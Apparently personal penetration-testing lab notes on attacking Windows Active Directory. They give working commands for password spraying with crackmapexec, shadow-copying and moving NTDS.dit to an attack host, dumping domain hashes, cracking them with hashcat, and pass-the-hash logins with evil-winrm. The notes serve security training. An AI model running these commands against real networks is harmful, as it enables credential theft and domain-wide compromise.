Authentication process once a windows machine has been joined to a domain:
 Once a Windows system is joined to a domain, it will no longer default to referencing the SAM database to validate logon requests.
- Domain-joined system now send auth reqs to be validated by DC
- SAM db can still be used though - by specifying
hostnameof device proceeded byusername(HOSTNAME/nameofuser)
OS Credential Dumping: NTDS https://attack.mitre.org/techniques/T1003/003/
The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.
- Volume Shadow Copy
- secretsdump.py
- Using the in-built Windows tool, ntdsutil.exe
- Invoke-NinjaCopy
Dictionary attacks against AD accs using nxc
- Noisy btw
- essentially guessing users/pws using customized list of usernames and passwords
- careful of AD group policies (ie password attempts before lockout)
- if in a situation where dictionary attack is viable, custom-tailor the attack as much as possible.
- use searches on various social media websites and look for an employee directory on the company's website.
| Username Convention | Practical Example for Jane Jill Doe |
|---|---|
firstinitiallastname |
jdoe |
firstinitialmiddleinitiallastname |
jjdoe |
firstnamelastname |
janedoe |
firstname.lastname |
jane.doe |
lastname.firstname |
doe.jane |
nickname |
doedoehacksstuff |
| or check email: | |
| johnp@domain.com -> johnp username |
Generating a list with OSINT https://github.com/urbanadventurer/username-anarchy Using automated tools can save us time when crafting lists. Still, we will benefit from spending as much time as we can attempting to discover the naming convention an organization is using with usernames because this will reduce the need for us to guess the naming convention.
then fire up nxc:
crackmapexec smb 10.129.201.57 -u bwilliamson -p /usr/share/wordlists/fasttrack.txt
NTDS - Description, exfiltration and cracking
NTDS - NT Directory Services
Directory service used with AD used to find + organize network resources.
ntds.ditlocated at%systemroot%/ntdson DCs in aforesthttps://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/using-the-organizational-domain-forest-model.ditstands for DIRECTORY INFORMATION TREE- Primary DB file associated with AD and stores all domain usernames, password hashes, and other critical schema information
- If this file is captured, we could potentially compromise every account on the domain similar to the technique found in [[6. Attacking SAM, LSA, LSASS]]
Creating a shadow copy of C:
We can use vssadmin to create a Volume Shadow Copy (VSS) of the C: drive or whatever volume the admin chose when initially installing AD.
- It's likely NTDS will be stored on C: as that's the default location selected at install, but it's possible to change location.
- We use VSS because it is designed to make copies of volumes that may be read + written to
- VSS used by different backup + disaster recovery software
*Evil-WinRM* PS C:\> vssadmin CREATE SHADOW /For=C:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.
Successfully created shadow copy for 'C:\'
Shadow Copy ID: {186d5979-2f2b-4afe-8101-9f1111e4cb1a}
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
Now copy NTDS.dit
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
Let's copy NTDS.dit to our attack host: [[6. Attacking SAM, LSA, LSASS#windows smb exfil]]
cmd.exe /c move C:\NTDS\NTDS.dit \\10.10.15.30\CompData
NetExec method for exfil ntds.dit
Alternatively, we may benefit from using CrackMapExec to accomplish the same steps shown above, all with one command. This command allows us to utilize VSS to quickly capture and dump the contents of the NTDS.dit file conveniently within our terminal session.
crackmapexec smb 10.129.201.57 -u bwilliamson -p P@55w0rd! --ntds
Cracking single hash with hashcat:
sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt
ps. you can put these all in a file
Pass-the-Hash
We can still use hashes to attempt to authenticate with a system using a type of attack called Pass-the-Hash (PtH). A PtH attack takes advantage of the NTLM authentication protocol to authenticate a user using a password hash. Instead of username:clear-text password as the format for login, we can instead use username:password hash. Here is an example of how this would work:
evil-winrm -i 10.129.201.57 -u Administrator -H "64f12cddaa88057e06a81b54e73b949b"
We can attempt to use this attack when needing to move laterally across a network after the initial compromise of a target.